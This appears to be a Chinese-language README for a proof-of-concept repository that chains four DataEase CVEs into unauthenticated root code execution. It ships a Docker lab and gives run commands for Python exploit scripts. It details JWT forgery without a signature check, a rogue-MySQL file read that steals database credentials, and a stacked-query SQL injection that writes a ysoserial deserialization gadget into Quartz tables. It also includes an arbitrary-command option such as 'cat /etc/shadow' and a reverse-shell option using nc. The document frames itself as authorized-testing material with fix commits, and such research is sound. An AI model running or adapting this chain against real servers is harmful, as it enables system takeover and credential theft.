
DataEase 自动化漏洞利用:4 漏洞链(认证绕过、JDBC 黑名单绕过、SQL 注入、Java 反序列化),实现未认证 RCE。包含 Docker 实验环境和 Python PoC。
认证绕过 → JDBC 黑名单绕过(任意文件读取)→ SQL 注入 → Quartz 中的 Java 反序列化 → 以
root身份远程代码执行。自带完整的本地实验环境(Docker)+ 可用的 PoC。已在 DataEase v2.10.21 中修复。
DataEase 是一个流行的开源 BI / 数据可视化平台(Java / Spring Boot)。≤ v2.10.20 版本存在由四个问题组成的漏洞链,该链可将任何可网络访问的 DataEase 变为远程代码执行:
| # | CVE | 漏洞类型 | 攻击效果 |
|---|
| 1 | CVE-2026-23958 | 认证绕过(CWE-287/CWE-347) | 扮演 admin——无需有效签名 |
| 2 | CVE-2026-40899 | JDBC 黑名单绕过(CWE-20) | 任意文件读取 → 窃取后端数据库凭据 |
| 3 | CVE-2026-40900 | SQL 注入 / 堆叠查询(CWE-89) | 向 DataEase 自身数据库写入数据 |
| 4 | CVE-2026-40901 | Java 反序列化(CWE-502) | 通过 Quartz 任务存储实现 root RCE |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
所有内容都在 Docker 中本地运行。无需外部服务,也不需要互联网目标。
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
启动环境:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100(API 前缀为 /de2api)admin / DataEase@123456宿主机要求:Docker、安装了 cryptography 的 Python 3.8+(pip install -r exploit/requirements.txt),以及 Docker CLI(用于在一次性 eclipse-temurin:8-jre 容器中运行 ysoserial 以构建 gadget)。
DataEase 在 Servlet 过滤器 TokenFilter(sdk/common/.../auth/filter/TokenFilter.java)中完成请求认证。它读取令牌并调用 TokenUtils.validate(),最终进入:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() 从不验证签名。唯一的检查是:令牌长度 ≥ 100 个字符,且携带整型的 uid 声明。因此,任何声明 "uid": 1 的 JWT 都会让请求以内置管理员(uid 1)的身份执行。
还有第二个过滤器(CommunityTokenFilter)会针对 X-DE-TOKEN 请求头验证签名——但仅在特定条件下,且签名密钥要么是每个用户独立的密钥,要么在纯社区版中,是硬编码默认密码 DataEase@123456 的 MD5(SubstituleLoginConfig → dataease.default-pwd)。配套的 分享链接 路径(X-DE-LINK-TOKEN)使用硬编码密钥 link-pwd-fit2cloud(LinkTokenUtil.defaultPwd)签名,且在修复之前同样不经验证即被解码。
最终效果: 攻击者可以伪造管理员令牌。de_common.py 中的 forge_jwt() 可以生成这种无需签名的令牌;PoC 也支持直接用普遍存在的默认凭据登录,从而为链条的后续环节获取完全有效的 X-DE-TOKEN。
修复(commit 00c169caa)让 TokenFilter 查找真实的按资源密钥,并真正调用 verifier.verify(...)。
添加 MySQL 数据源时,DataEase 会拒绝一组危险的 JDBC 参数。该黑名单位于一个 Lombok @Data 字段中:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
由于 @Data 会自动生成 setIllegalParameters(...),Jackson 会欣然接受攻击者控制的 JSON 对其进行填充。在(Base64 编码的)configuration 数据块中发送 "illegalParameters": [],会在黑名单被检查之前将其清空。随后我们可以将数据源指向一台恶意 MySQL 服务器,设置 allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/,通过 MySQL 的 LOCAL INFILE 机制读取 DataEase 主机上的任意文件。
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
结果——DataEase 将自身后端数据库凭据拱手送上:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
攻击者正是利用这些凭据,将第 3 步指向 DataEase 自身的数据库。修复(commit 16a950f96)为每个 illegalParameters 字段添加了 @JsonIgnore,使其无法再从 JSON 中设置。
previewSql 中的 SQL 注入(堆叠查询)POST /de2api/datasetData/previewSql 接收一个 Base64 编码的 SQL 字符串,并且不校验是否为单条语句,直接将其包装为子查询:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
注释会被剥离,但我们可以配平括号,并利用 ; 执行额外语句。由于数据源由我们控制,可以启用 allowMultiQueries=true(该参数不在 v2.10.20 的黑名单中),因此堆叠查询得以执行:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
服务器会将其拼装为三条真实语句。将这一数据源指向 DataEase 自身的数据库(凭据来自第 2 步),即可向它的 Quartz 表写入数据。修复方案:15611593b 将 allowMultiQueries 加入黑名单,e89059d88 强化了保存/引擎流程。
DataEase 调度了一个周期性的 “数据源状态检查” Quartz 任务:
deSyncJob,任务 Datasource / check_status,类 io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? *(默认:每 6 分钟)Quartz 使用 useProperties=false 的 JDBC 任务存储,因此每个任务的 JobDataMap 都会以原始 Java 序列化对象的形式存储在 QRTZ_JOB_DETAILS.JOB_DATA 列中(你可以看到:该 BLOB 以序列化魔数 AC ED 00 05 … org.quartz.JobDataMap 开头)。调度器扫描触发器时,在 StdJDBCDelegate.selectJobDetail 中执行:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()
DataEase 内置了 commons-collections-3.2.1.jar(以及 velocity-1.7.jar)——经典的序列化 gadget 来源。利用第 3 步,我们用 ysoserial CommonsCollections6 payload 覆盖 JOB_DATA(并在同一条堆叠查询中,将触发器的 NEXT_FIRE_TIME 拉到当前时间,这样就不必等待 6 分钟的 cron 周期)。在下一次调度器扫描时,readObject() 触发 gadget 链(LazyMap → InvokerTransformer → Runtime.exec),我们的命令便得以执行——在容器内以 root 身份运行。修复集(e05bda764 等)移除了存在漏洞的 Velocity 依赖,并封堵了该触发点的可达性。
PoC 会自动为你生成 gadget(采用兼容 busybox 的命令包装——目标 shell 是 Alpine ash,且 Runtime.exec 不经过 shell,因此我们使用 sh -c echo${IFS}<b64>|base64${IFS}-d|sh)。
pip install -r exploit/requirements.txt
# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444
# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901
若要在多次运行之间重置被污染的 Quartz 任务(可选):
exploit/reset_quartz.sh
| 路径 | 用途 |
|---|---|
exploit/de_common.py | HTTP 客户端:/dekey RSA 恢复、登录、JWT 伪造、数据源 + previewSql |
exploit/de_rce_chain.py | 端到端认证 → SQLi → Quartz 反序列化 RCE |
exploit/rogue_mysql.py | 用于 CVE-2026-40899 的极简恶意 MySQL 服务器(LOCAL INFILE 文件读取) |
exploit/file_read.py | 驱动 CVE-2026-40899 攻击恶意服务器 |
exploit/reset_quartz.sh | 运行后恢复干净的 Quartz 任务 |
admin 密码(DataEase@123456)。useProperties=true 运行 Quartz,应用 JVM 反序列化过滤器(-Djdk.serialFilter=…),并从 classpath 中移除 commons-collections:3.2.1 / velocity:1.7。仅用于教育和授权测试。该实验环境针对的是你自己运行的容器。请勿将其中任何内容用于你不拥有或未经明确书面授权测试的系统。
00c169caa、16a950f96、15611593b、e89059d88、e05bda764(DataEase v2.10.20..v2.10.21)